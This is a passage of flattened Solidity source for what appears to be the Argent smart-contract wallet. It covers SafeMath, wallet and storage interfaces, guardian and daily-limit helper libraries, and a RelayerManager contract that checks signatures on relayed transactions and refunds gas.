recoverSigner(bytes32 _signedHash, bytes memory _signatures, uint _index) internal pure returns (address) { uint8 v; bytes32 r; bytes32 s; // we jump 32 (0x20) as the first slot of bytes contains the length // we jump 65 (0x41) per signature // for v we load 32 bytes ending with v (the first 31 come from s) then apply a mask // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(_signatures, add(0x20,mul(0x41,_index)))) s := mload(add(_signatures, add(0x40,mul(0x41,_index)))) v := and(mload(add(_signatures, add(0x41,mul(0x41,_index)))), 0xff) } require(v == 27 || v == 28); address recoveredAddress = ecrecover(_signedHash, v, r, s); require(recoveredAddress != address(0), "Utils: ecrecover returned 0"); return recoveredAddress; } /** * @notice Helper method to parse data and extract the method signature. */ function functionPrefix(bytes memory _data) internal pure returns (bytes4 prefix) { require(_data.length >= 4, "RM: Invalid functionPrefix"); // solhint-disable-next-line no-inline-assembly assembly { prefix := mload(add(_data, 0x20)) } } /** * @notice Returns ceil(a / b). */ function ceil(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; if (a % b == 0) { return c; } else { return c + 1; } } function min(uint256 a, uint256 b) internal pure returns (uint256) { if (a < b) { return a; } return b; } } // File: @openzeppelin/contracts/math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity >=0.5.4 <0.7.0; /** * @title IWallet * @notice Interface for the BaseWallet */ interface IWallet { /** * @notice Returns the wallet owner. * @return The wallet owner address. */ function owner() external view returns (address); /** * @notice Returns the number of authorised modules. * @return The number of authorised modules. */ function modules() external view returns (uint); /** * @notice Sets a new owner for the wallet. * @param _newOwner The new owner. */ function setOwner(address _newOwner) external; /** * @notice Checks if a module is authorised on the wallet. * @param _module The module address to check. * @return `true` if the module is authorised, otherwise `false`. */ function authorised(address _module) external view returns (bool); /** * @notice Returns the module responsible for a static call redirection. * @param _sig The signature of the static call. * @return the module doing the redirection */ function enabled(bytes4 _sig) external view returns (address); /** * @notice Enables/Disables a module. * @param _module The target module. * @param _value Set to `true` to authorise the module. */ function authoriseModule(address _module, bool _value) external; /** * @notice Enables a static method by specifying the target module to which the call must be delegated. * @param _module The target module. * @param _method The static method signature. */ function enableStaticCall(address _module, bytes4 _method) external; } pragma solidity >=0.5.4 <0.7.0; /** * @title IModuleRegistry * @notice Interface for the registry of authorised modules. */ interface IModuleRegistry { function registerModule(address _module, bytes32 _name) external; function deregisterModule(address _module) external; function registerUpgrader(address _upgrader, bytes32 _name) external; function deregisterUpgrader(address _upgrader) external; function recoverToken(address _token) external; function moduleInfo(address _module) external view returns (bytes32); function upgraderInfo(address _upgrader) external view returns (bytes32); function isRegisteredModule(address _module) external view returns (bool); function isRegisteredModule(address[] calldata _modules) external view returns (bool); function isRegisteredUpgrader(address _upgrader) external view returns (bool); } pragma solidity >=0.5.4 <0.7.0; interface ILockStorage { function isLocked(address _wallet) external view returns (bool); function getLock(address _wallet) external view returns (uint256); function getLocker(address _wallet) external view returns (address); function setLock(address _wallet, address _locker, uint256 _releaseAfter) external; } pragma solidity >=0.5.4 <0.7.0; /** * @title IFeature * @notice Interface for a Feature. * @author Julien Niset - <julien@argent.xyz>, Olivier VDB - <olivier@argent.xyz> */ interface IFeature { enum OwnerSignature { Anyone, // Anyone Required, // Owner required Optional, // Owner and/or guardians Disallowed // guardians only } /** * @notice Utility method to recover any ERC20 token that was sent to the Feature by mistake. * @param _token The token to recover. */ function recoverToken(address _token) external; /** * @notice Inits a Feature for a wallet by e.g. setting some wallet specific parameters in storage. * @param _wallet The wallet. */ function init(address _wallet) external; /** * @notice Helper method to check if an address is an authorised feature of a target wallet. * @param _wallet The target wallet. * @param _feature The address. */ function isFeatureAuthorisedInVersionManager(address _wallet, address _feature) external view returns (bool); /** * @notice Gets the number of valid signatures that must be provided to execute a * specific relayed transaction. * @param _wallet The target wallet. * @param _data The data of the relayed transaction. * @return The number of required signatures and the wallet owner signature requirement. */ function getRequiredSignatures(address _wallet, bytes calldata _data) external view returns (uint256, OwnerSignature); /** * @notice Gets the list of static call signatures that this feature responds to on behalf of wallets */ function getStaticCallSignatures() external view returns (bytes4[] memory); } // File: lib/other/ERC20.sol pragma solidity >=0.5.4 <0.7.0; /** * ERC20 contract interface. */ interface ERC20 { function totalSupply() external view returns (uint); function decimals() external view returns (uint); function balanceOf(address tokenOwner) external view returns (uint balance); function allowance(address tokenOwner, address spender) external view returns (uint remaining); function transfer(address to, uint tokens) external returns (bool success); function approve(address spender, uint tokens) external returns (bool success); function transferFrom(address from, address to, uint tokens) external returns (bool success); } /** * @title ILimitStorage * @notice LimitStorage interface */ interface ILimitStorage { struct Limit { // the current limit uint128 current; // the pending limit if any uint128 pending; // when the pending limit becomes the current limit uint64 changeAfter; } struct DailySpent { // The amount already spent during the current period uint128 alreadySpent; // The end of the current period uint64 periodEnd; } function setLimit(address _wallet, Limit memory _limit) external; function getLimit(address _wallet) external view returns (Limit memory _limit); function setDailySpent(address _wallet, DailySpent memory _dailySpent) external; function getDailySpent(address _wallet) external view returns (DailySpent memory _dailySpent); function setLimitAndDailySpent(address _wallet, Limit memory _limit, DailySpent memory _dailySpent) external; function getLimitAndDailySpent(address _wallet) external view returns (Limit memory _limit, DailySpent memory _dailySpent); } pragma solidity >=0.5.4 <0.7.0; /** * @title IVersionManager * @notice Interface for the VersionManager module. * @author Olivier VDB - <olivier@argent.xyz> */ interface IVersionManager { /** * @notice Returns true if the feature is authorised for the wallet * @param _wallet The target wallet. * @param _feature The feature. */ function isFeatureAuthorised(address _wallet, address _feature) external view returns (bool); /** * @notice Lets a feature (caller) invoke a wallet. * @param _wallet The target wallet. * @param _to The target address for the transaction. * @param _value The value of the transaction. * @param _data The data of the transaction. */ function checkAuthorisedFeatureAndInvokeWallet( address _wallet, address _to, uint256 _value, bytes calldata _data ) external returns (bytes memory _res); /* ******* Backward Compatibility with old Storages and BaseWallet *************** */ /** * @notice Sets a new owner for the wallet. * @param _newOwner The new owner. */ function setOwner(address _wallet, address _newOwner) external; /** * @notice Lets a feature write data to a storage contract. * @param _wallet The target wallet. * @param _storage The storage contract. * @param _data The data of the call */ function invokeStorage(address _wallet, address _storage, bytes calldata _data) external; /** * @notice Upgrade a wallet to a new version. * @param _wallet the wallet to upgrade * @param _toVersion the new version */ function upgradeWallet(address _wallet, uint256 _toVersion) external; } /** * @title BaseFeature * @notice Base Feature contract that contains methods common to all Feature contracts. * @author Julien Niset - <julien@argent.xyz>, Olivier VDB - <olivier@argent.xyz> */ contract BaseFeature is IFeature { // Empty calldata bytes constant internal EMPTY_BYTES = ""; // Mock token address for ETH address constant internal ETH_TOKEN = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // The address of the Lock storage ILockStorage internal lockStorage; // The address of the Version Manager IVersionManager internal versionManager; event FeatureCreated(bytes32 name); /** * @notice Throws if the wallet is locked. */ modifier onlyWhenUnlocked(address _wallet) { require(!lockStorage.isLocked(_wallet), "BF: wallet locked"); _; } /** * @notice Throws if the sender is not the VersionManager. */ modifier onlyVersionManager() { require(msg.sender == address(versionManager), "BF: caller must be VersionManager"); _; } /** * @notice Throws if the sender is not the owner of the target wallet. */ modifier onlyWalletOwner(address _wallet) { require(isOwner(_wallet, msg.sender), "BF: must be wallet owner"); _; } /** * @notice Throws if the sender is not an authorised feature of the target wallet. */ modifier onlyWalletFeature(address _wallet) { require(versionManager.isFeatureAuthorised(_wallet, msg.sender), "BF: must be a wallet feature"); _; } /** * @notice Throws if the sender is not the owner of the target wallet or the feature itself. */ modifier onlyWalletOwnerOrFeature(address _wallet) { // Wrapping in an internal method reduces deployment cost by avoiding duplication of inlined code verifyOwnerOrAuthorisedFeature(_wallet, msg.sender); _; } constructor( ILockStorage _lockStorage, IVersionManager _versionManager, bytes32 _name ) public { lockStorage = _lockStorage; versionManager = _versionManager; emit FeatureCreated(_name); } /** * @inheritdoc IFeature */ function recoverToken(address _token) external virtual override { uint total = ERC20(_token).balanceOf(address(this)); _token.call(abi.encodeWithSelector(ERC20(_token).transfer.selector, address(versionManager), total)); } /** * @notice Inits the feature for a wallet by doing nothing. * @dev !! Overriding methods need make sure `init()` can only be called by the VersionManager !! * @param _wallet The wallet. */ function init(address _wallet) external virtual override {} /** * @inheritdoc IFeature */ function getRequiredSignatures(address, bytes calldata) external virtual view override returns (uint256, OwnerSignature) { revert("BF: disabled method"); } /** * @inheritdoc IFeature */ function getStaticCallSignatures() external virtual override view returns (bytes4[] memory _sigs) {} /** * @inheritdoc IFeature */ function isFeatureAuthorisedInVersionManager(address _wallet, address _feature) public override view returns (bool) { return versionManager.isFeatureAuthorised(_wallet, _feature); } /** * @notice Checks that the wallet address provided as the first parameter of _data matches _wallet * @return false if the addresses are different. */ function verifyData(address _wallet, bytes calldata _data) internal pure returns (bool) { require(_data.length >= 36, "RM: Invalid dataWallet"); address dataWallet = abi.decode(_data[4:], (address)); return dataWallet == _wallet; } /** * @notice Helper method to check if an address is the owner of a target wallet. * @param _wallet The target wallet. * @param _addr The address. */ function isOwner(address _wallet, address _addr) internal view returns (bool) { return IWallet(_wallet).owner() == _addr; } /** * @notice Verify that the caller is an authorised feature or the wallet owner. * @param _wallet The target wallet. * @param _sender The caller. */ function verifyOwnerOrAuthorisedFeature(address _wallet, address _sender) internal view { require(isFeatureAuthorisedInVersionManager(_wallet, _sender) || isOwner(_wallet, _sender), "BF: must be owner or feature"); } /** * @notice Helper method to invoke a wallet. * @param _wallet The target wallet. * @param _to The target address for the transaction. * @param _value The value of the transaction. * @param _data The data of the transaction. */ function invokeWallet(address _wallet, address _to, uint256 _value, bytes memory _data) internal returns (bytes memory _res) { _res = versionManager.checkAuthorisedFeatureAndInvokeWallet(_wallet, _to, _value, _data); } } /** * @title GuardianUtils * @notice Bundles guardian read logic. */ library GuardianUtils { /** * @notice Checks if an address is a guardian or an account authorised to sign on behalf of a smart-contract guardian * given a list of guardians. * @param _guardians the list of guardians * @param _guardian the address to test * @return true and the list of guardians minus the found guardian upon success, false and the original list of guardians if not found. */ function isGuardianOrGuardianSigner(address[] memory _guardians, address _guardian) internal view returns (bool, address[] memory) { if (_guardians.length == 0 || _guardian == address(0)) { return (false, _guardians); } bool isFound = false; address[] memory updatedGuardians = new address[](_guardians.length - 1); uint256 index = 0; for (uint256 i = 0; i < _guardians.length; i++) { if (!isFound) { // check if _guardian is an account guardian if (_guardian == _guardians[i]) { isFound = true; continue; } // check if _guardian is the owner of a smart contract guardian if (isContract(_guardians[i]) && isGuardianOwner(_guardians[i], _guardian)) { isFound = true; continue; } } if (index < updatedGuardians.length) { updatedGuardians[index] = _guardians[i]; index++; } } return isFound ? (true, updatedGuardians) : (false, _guardians); } /** * @notice Checks if an address is a contract. * @param _addr The address. */ function isContract(address _addr) internal view returns (bool) { uint32 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(_addr) } return (size > 0); } /** * @notice Checks if an address is the owner of a guardian contract. * The method does not revert if the call to the owner() method consumes more then 5000 gas. * @param _guardian The guardian contract * @param _owner The owner to verify. */ function isGuardianOwner(address _guardian, address _owner) internal view returns (bool) { address owner = address(0); bytes4 sig = bytes4(keccak256("owner()")); // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr,sig) let result := staticcall(5000, _guardian, ptr, 0x20, ptr, 0x20) if eq(result, 1) { owner := mload(ptr) } } return owner == _owner; } } /** * @title ITokenPriceRegistry * @notice TokenPriceRegistry interface */ interface ITokenPriceRegistry { function getTokenPrice(address _token) external view returns (uint184 _price); function isTokenTradable(address _token) external view returns (bool _isTradable); } /** * @title LimitUtils * @notice Helper library to manage the daily limit and interact with a contract implementing the ILimitStorage interface. * @author Julien Niset - <julien@argent.xyz> */ library LimitUtils { // large limit when the limit can be considered disabled uint128 constant internal LIMIT_DISABLED = uint128(-1); using SafeMath for uint256; // *************** Internal Functions ********************* // /** * @notice Changes the daily limit (expressed in ETH). * Decreasing the limit is immediate while increasing the limit is pending for the security period. * @param _lStorage The storage contract. * @param _versionManager The version manager. * @param _wallet The target wallet. * @param _targetLimit The target limit. * @param _securityPeriod The security period. */ function changeLimit( ILimitStorage _lStorage, IVersionManager _versionManager, address _wallet, uint256 _targetLimit, uint256 _securityPeriod ) internal returns (ILimitStorage.Limit memory) { ILimitStorage.Limit memory limit = _lStorage.getLimit(_wallet); uint256 currentLimit = currentLimit(limit); ILimitStorage.Limit memory newLimit; if (_targetLimit <= currentLimit) { uint128 targetLimit = safe128(_targetLimit); newLimit = ILimitStorage.Limit(targetLimit, targetLimit, safe64(block.timestamp)); } else { newLimit = ILimitStorage.Limit(safe128(currentLimit), safe128(_targetLimit), safe64(block.timestamp.add(_securityPeriod))); } setLimit(_versionManager, _lStorage, _wallet, newLimit); return newLimit; } /** * @notice Disable the daily limit. * The change is pending for the security period. * @param _lStorage The storage contract. * @param _versionManager The version manager. * @param _wallet The target wallet. * @param _securityPeriod The security period. */ function disableLimit( ILimitStorage _lStorage, IVersionManager _versionManager, address _wallet, uint256 _securityPeriod ) internal { changeLimit(_lStorage, _versionManager, _wallet, LIMIT_DISABLED, _securityPeriod); } /** * @notice Returns whether the daily limit is disabled for a wallet. * @param _wallet The target wallet. * @return _limitDisabled true if the daily limit is disabled, false otherwise. */ function isLimitDisabled(ILimitStorage _lStorage, address _wallet) internal view returns (bool) { ILimitStorage.Limit memory limit = _lStorage.getLimit(_wallet); uint256 currentLimit = currentLimit(limit); return (currentLimit == LIMIT_DISABLED); } /** * @notice Checks if a transfer is within the limit. If yes the daily spent is updated. * @param _lStorage The storage contract. * @param _versionManager The Version Manager. * @param _wallet The target wallet. * @param _amount The amount for the transfer * @return true if the transfer is withing the daily limit. */ function checkAndUpdateDailySpent( ILimitStorage _lStorage, IVersionManager _versionManager, address _wallet, uint256 _amount ) internal returns (bool) { (ILimitStorage.Limit memory limit, ILimitStorage.DailySpent memory dailySpent) = _lStorage.getLimitAndDailySpent(_wallet); uint256 currentLimit = currentLimit(limit); if (_amount == 0 || currentLimit == LIMIT_DISABLED) { return true; } ILimitStorage.DailySpent memory newDailySpent; if (dailySpent.periodEnd <= block.timestamp && _amount <= currentLimit) { newDailySpent = ILimitStorage.DailySpent(safe128(_amount), safe64(block.timestamp + 24 hours)); setDailySpent(_versionManager, _lStorage, _wallet, newDailySpent); return true; } else if (dailySpent.periodEnd > block.timestamp && _amount.add(dailySpent.alreadySpent) <= currentLimit) { newDailySpent = ILimitStorage.DailySpent(safe128(_amount.add(dailySpent.alreadySpent)), safe64(dailySpent.periodEnd)); setDailySpent(_versionManager, _lStorage, _wallet, newDailySpent); return true; } return false; } /** * @notice Helper method to Reset the daily consumption. * @param _versionManager The Version Manager. * @param _wallet The target wallet. */ function resetDailySpent(IVersionManager _versionManager, ILimitStorage limitStorage, address _wallet) internal { setDailySpent(_versionManager, limitStorage, _wallet, ILimitStorage.DailySpent(uint128(0), uint64(0))); } /** * @notice Helper method to get the ether value equivalent of a token amount. * @notice For low value amounts of tokens we accept this to return zero as these are small enough to disregard. * Note that the price stored for tokens = price for 1 token (in ETH wei) * 10^(18-token decimals). * @param _amount The token amount. * @param _token The address of the token. * @return The ether value for _amount of _token. */ function getEtherValue(ITokenPriceRegistry _priceRegistry, uint256 _amount, address _token) internal view returns (uint256) { uint256 price = _priceRegistry.getTokenPrice(_token); uint256 etherValue = price.mul(_amount).div(10**18); return etherValue; } /** * @notice Helper method to get the current limit from a Limit struct. * @param _limit The limit struct */ function currentLimit(ILimitStorage.Limit memory _limit) internal view returns (uint256) { if (_limit.changeAfter > 0 && _limit.changeAfter < block.timestamp) { return _limit.pending; } return _limit.current; } function safe128(uint256 _num) internal pure returns (uint128) { require(_num < 2**128, "LU: more then 128 bits"); return uint128(_num); } function safe64(uint256 _num) internal pure returns (uint64) { require(_num < 2**64, "LU: more then 64 bits"); return uint64(_num); } // *************** Storage invocations in VersionManager ********************* // function setLimit( IVersionManager _versionManager, ILimitStorage _lStorage, address _wallet, ILimitStorage.Limit memory _limit ) internal { _versionManager.invokeStorage( _wallet, address(_lStorage), abi.encodeWithSelector(_lStorage.setLimit.selector, _wallet, _limit) ); } function setDailySpent( IVersionManager _versionManager, ILimitStorage _lStorage, address _wallet, ILimitStorage.DailySpent memory _dailySpent ) private { _versionManager.invokeStorage( _wallet, address(_lStorage), abi.encodeWithSelector(_lStorage.setDailySpent.selector, _wallet, _dailySpent) ); } } pragma solidity >=0.5.4 <0.7.0; interface IGuardianStorage { /** * @notice Lets an authorised module add a guardian to a wallet. * @param _wallet The target wallet. * @param _guardian The guardian to add. */ function addGuardian(address _wallet, address _guardian) external; /** * @notice Lets an authorised module revoke a guardian from a wallet. * @param _wallet The target wallet. * @param _guardian The guardian to revoke. */ function revokeGuardian(address _wallet, address _guardian) external; /** * @notice Checks if an account is a guardian for a wallet. * @param _wallet The target wallet. * @param _guardian The account. * @return true if the account is a guardian for a wallet. */ function isGuardian(address _wallet, address _guardian) external view returns (bool); function isLocked(address _wallet) external view returns (bool); function getLock(address _wallet) external view returns (uint256); function getLocker(address _wallet) external view returns (address); function setLock(address _wallet, uint256 _releaseAfter) external; function getGuardians(address _wallet) external view returns (address[] memory); function guardianCount(address _wallet) external view returns (uint256); } /** * @title RelayerManager * @notice Feature to execute transactions signed by ETH-less accounts and sent by a relayer. * @author Julien Niset <julien@argent.xyz>, Olivier VDB <olivier@argent.xyz> */ contract RelayerManager is BaseFeature { bytes32 constant NAME = "RelayerManager"; uint256 constant internal BLOCKBOUND = 10000; using SafeMath for uint256; mapping (address => RelayerConfig) public relayer; // The storage of the limit ILimitStorage public limitStorage; // The Token price storage ITokenPriceRegistry public tokenPriceRegistry; // The Guardian storage IGuardianStorage public guardianStorage; struct RelayerConfig { uint256 nonce; mapping (bytes32 => bool) executedTx; } // Used to avoid stack too deep error struct StackExtension { uint256 requiredSignatures; OwnerSignature ownerSignatureRequirement; bytes32 signHash; bool success; bytes returnData; } event TransactionExecuted(address indexed wallet, bool indexed success, bytes returnData, bytes32 signedHash); event Refund(address indexed wallet, address indexed refundAddress, address refundToken, uint256 refundAmount); /* ***************** External methods ************************* */ constructor( ILockStorage _lockStorage, IGuardianStorage _guardianStorage, ILimitStorage _limitStorage, ITokenPriceRegistry _tokenPriceRegistry, IVersionManager _versionManager ) BaseFeature(_lockStorage, _versionManager, NAME) public { limitStorage = _limitStorage; tokenPriceRegistry = _tokenPriceRegistry; guardianStorage = _guardianStorage; } /** * @notice Executes a relayed transaction. * @param _wallet The target wallet. * @param _feature The target feature. * @param _data The data for the relayed transaction * @param _nonce The nonce used to prevent replay attacks. * @param _signatures The signatures as a concatenated byte array. * @param _gasPrice The gas price to use for the gas refund. * @param _gasLimit The gas limit to use for the gas refund. * @param _refundToken The token to use for the gas refund. * @param _refundAddress The address refunded to prevent front-running. */ function execute( address _wallet, address _feature, bytes calldata _data, uint256 _nonce, bytes calldata _signatures, uint256 _gasPrice, uint256 _gasLimit, address _refundToken, address _refundAddress ) external returns (bool) { uint startGas = gasleft(); require(startGas >= _gasLimit, "RM: not enough gas provided"); require(verifyData(_wallet, _data), "RM: Target of _data != _wallet"); require(isFeatureAuthorisedInVersionManager(_wallet, _feature), "RM: feature not authorised"); StackExtension memory stack; (stack.requiredSignatures, stack.ownerSignatureRequirement) = IFeature(_feature).getRequiredSignatures(_wallet, _data); require(stack.requiredSignatures > 0 || stack.ownerSignatureRequirement == OwnerSignature.Anyone, "RM: Wrong signature requirement"); require(stack.requiredSignatures * 65 == _signatures.length, "RM: Wrong number of signatures"); stack.signHash = getSignHash( address(this), _feature, 0, _data, _nonce, _gasPrice, _gasLimit, _refundToken, _refundAddress); require(checkAndUpdateUniqueness( _wallet, _nonce, stack.signHash, stack.requiredSignatures, stack.ownerSignatureRequirement), "RM: Duplicate request"); require(validateSignatures(_wallet, stack.signHash, _signatures, stack.ownerSignatureRequirement), "RM: Invalid signatures"); (stack.success, stack.returnData) = _feature.call(_data); // only refund when approved by owner and positive gas price if (_gasPrice > 0 && stack.ownerSignatureRequirement == OwnerSignature.Required) { refund( _wallet, startGas, _gasPrice, _gasLimit, _refundToken, _refundAddress, stack.requiredSignatures); } emit TransactionExecuted(_wallet, stack.success, stack.returnData, stack.signHash); return stack.success; } /** * @notice Gets the current nonce for a wallet. * @param _wallet The target wallet. */ function getNonce(address _wallet) external view returns (uint256 nonce) { return relayer[_wallet].nonce; } /** * @notice Checks if a transaction identified by its sign hash has already been executed. * @param _wallet The target wallet. * @param _signHash The sign hash of the transaction. */ function isExecutedTx(address _wallet, bytes32 _signHash) external view returns (bool executed) { return relayer[_wallet].executedTx[_signHash]; } /* ***************** Internal & Private methods ************************* */ /** * @notice Generates the signed hash of a relayed transaction according to ERC 1077. * @param _from The starting address for the relayed transaction (should be the relayer module) * @param _to The destination address for the relayed transaction (should be the target module) * @param _value The value for the relayed transaction. * @param _data The data for the relayed transaction which includes the wallet address. * @param _nonce The nonce used to prevent replay attacks. * @param _gasPrice The gas price to use for the gas refund. * @param _gasLimit The gas limit to use for the gas refund. * @param _refundToken The token to use for the gas refund. * @param _refundAddress The address refunded to prevent front-running. */ function getSignHash( address _from, address _to, uint256 _value, bytes memory _data, uint256 _nonce, uint256 _gasPrice, uint256 _gasLimit, address _refundToken, address _refundAddress ) internal pure returns (bytes32) { return keccak256( abi.encodePacked( "\x19Ethereum Signed Message:\n32", keccak256(abi.encodePacked( byte(0x19), byte(0), _from, _to, _value, _data, getChainId(), _nonce, _gasPrice, _gasLimit, _refundToken, _refundAddress)) )); } /** * @notice Checks if the relayed transaction is unique. If yes the state is updated. * For actions requiring 1 signature by the owner we use the incremental nonce. * For all other actions we check/store the signHash in a mapping. * @param _wallet The target wallet. * @param _nonce The nonce. * @param _signHash The signed hash of the transaction. * @param requiredSignatures The number of signatures required. * @param ownerSignatureRequirement The wallet owner signature requirement. * @return true if the transaction is unique. */ function checkAndUpdateUniqueness( address _wallet, uint256 _nonce, bytes32 _signHash, uint256 requiredSignatures, OwnerSignature ownerSignatureRequirement ) internal returns (bool) { if (requiredSignatures == 1 && ownerSignatureRequirement == OwnerSignature.Required) { // use the incremental nonce if (_nonce <= relayer[_wallet].nonce) { return false; } uint256 nonceBlock = (_nonce & 0xffffffffffffffffffffffffffffffff00000000000000000000000000000000) >> 128; if (nonceBlock > block.number + BLOCKBOUND) { return false; } relayer[_wallet].nonce = _nonce; return true; } else { // use the txHash map if (relayer[_wallet].executedTx[_signHash] == true) { return false; } relayer[_wallet].executedTx[_signHash] = true; return true; } } /** * @notice Validates the signatures provided with a relayed transaction. * The method MUST throw if one or more signatures are not valid. * @param _wallet The target wallet. * @param _signHash The signed hash representing the relayed transaction. * @param _signatures The signatures as a concatenated byte array. * @param _option An enum indicating whether the owner is required, optional or disallowed. * @return A boolean indicating whether the signatures are valid. */ function validateSignatures( address _wallet, bytes32 _signHash, bytes memory _signatures, OwnerSignature _option ) internal view returns (bool) { if (_signatures.length == 0) { return true; } address lastSigner = address(0); address[] memory guardians; if (_option != OwnerSignature.Required || _signatures.length > 65) { guardians = guardianStorage.getGuardians(_wallet); // guardians are only read if they may be needed } bool isGuardian; for (uint256 i = 0; i < _signatures.length / 65; i++) { address signer = Utils.recoverSigner(_signHash, _signatures, i); if (i == 0) { if (_option == OwnerSignature.Required) { // First signer must be owner if (isOwner(_wallet, signer)) { continue; } return false; } else if (_option == OwnerSignature.Optional) { // First signer can be owner if (isOwner(_wallet, signer)) { continue; } } } if (signer <= lastSigner) { return false; // Signers must be different } lastSigner = signer; (isGuardian, guardians) = GuardianUtils.isGuardianOrGuardianSigner(guardians, signer); if (!isGuardian) { return false; } } return true; } /** * @notice Refunds the gas used to the Relayer. * @param _wallet The target wallet. * @param _startGas The gas provided at the start of the execution. * @param _gasPrice The gas price for the refund. * @param _gasLimit The gas limit for the refund. * @param _refundToken The token to use for the gas refund. * @param _refundAddress The address refunded to prevent front-running. * @param _requiredSignatures The number of signatures required. */ function refund( address _wallet, uint _startGas, uint _gasPrice, uint _gasLimit, address _refundToken, address _refundAddress, uint256 _requiredSignatures ) internal { address refundAddress = _refundAddress == address(0) ? msg.sender : _refundAddress; uint256 refundAmount; // skip daily limit when approved by guardians (and signed by owner) if (_requiredSignatures > 1) { uint256 gasConsumed = _startGas.sub(gasleft()).add(30000); refundAmount = Utils.min(gasConsumed, _gasLimit).mul(_gasPrice); } else { uint256 gasConsumed = _startGas.sub(gasleft()).add(40000); refundAmount = Utils.min(gasConsumed, _gasLimit).mul(_gasPrice); uint256 ethAmount = (_refundToken == ETH_TOKEN) ? refundAmount : LimitUtils.getEtherValue(tokenPriceRegistry, refundAmount, _refundToken); require(LimitUtils.checkAndUpdateDailySpent(limitStorage, versionManager, _wallet, ethAmount), "RM: refund is above daily limit"); } // refund in ETH or ERC20 if (_refundToken == ETH_TOKEN) { invokeWallet(_wallet, refundAddress, refundAmount, EMPTY_BYTES); } else { bytes memory methodData = abi.encodeWithSignature("transfer(address,uint256)", refundAddress, refundAmount); bytes memory transferSuccessBytes = invokeWallet(_wallet, _refundToken, 0, methodData); // Check token refund is successful, when `transfer` returns a success bool result if (transferSuccessBytes.length > 0) { require(abi.decode(transferSuccessBytes, (bool)), "RM: Refund transfer failed"); } } emit Refund(_wallet, refundAddress, _refundToken, refundAmount); } /** * @notice Returns the current chainId * @return chainId the chainId */ function getChainId() private pure returns (uint256 chainId) { // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } } }
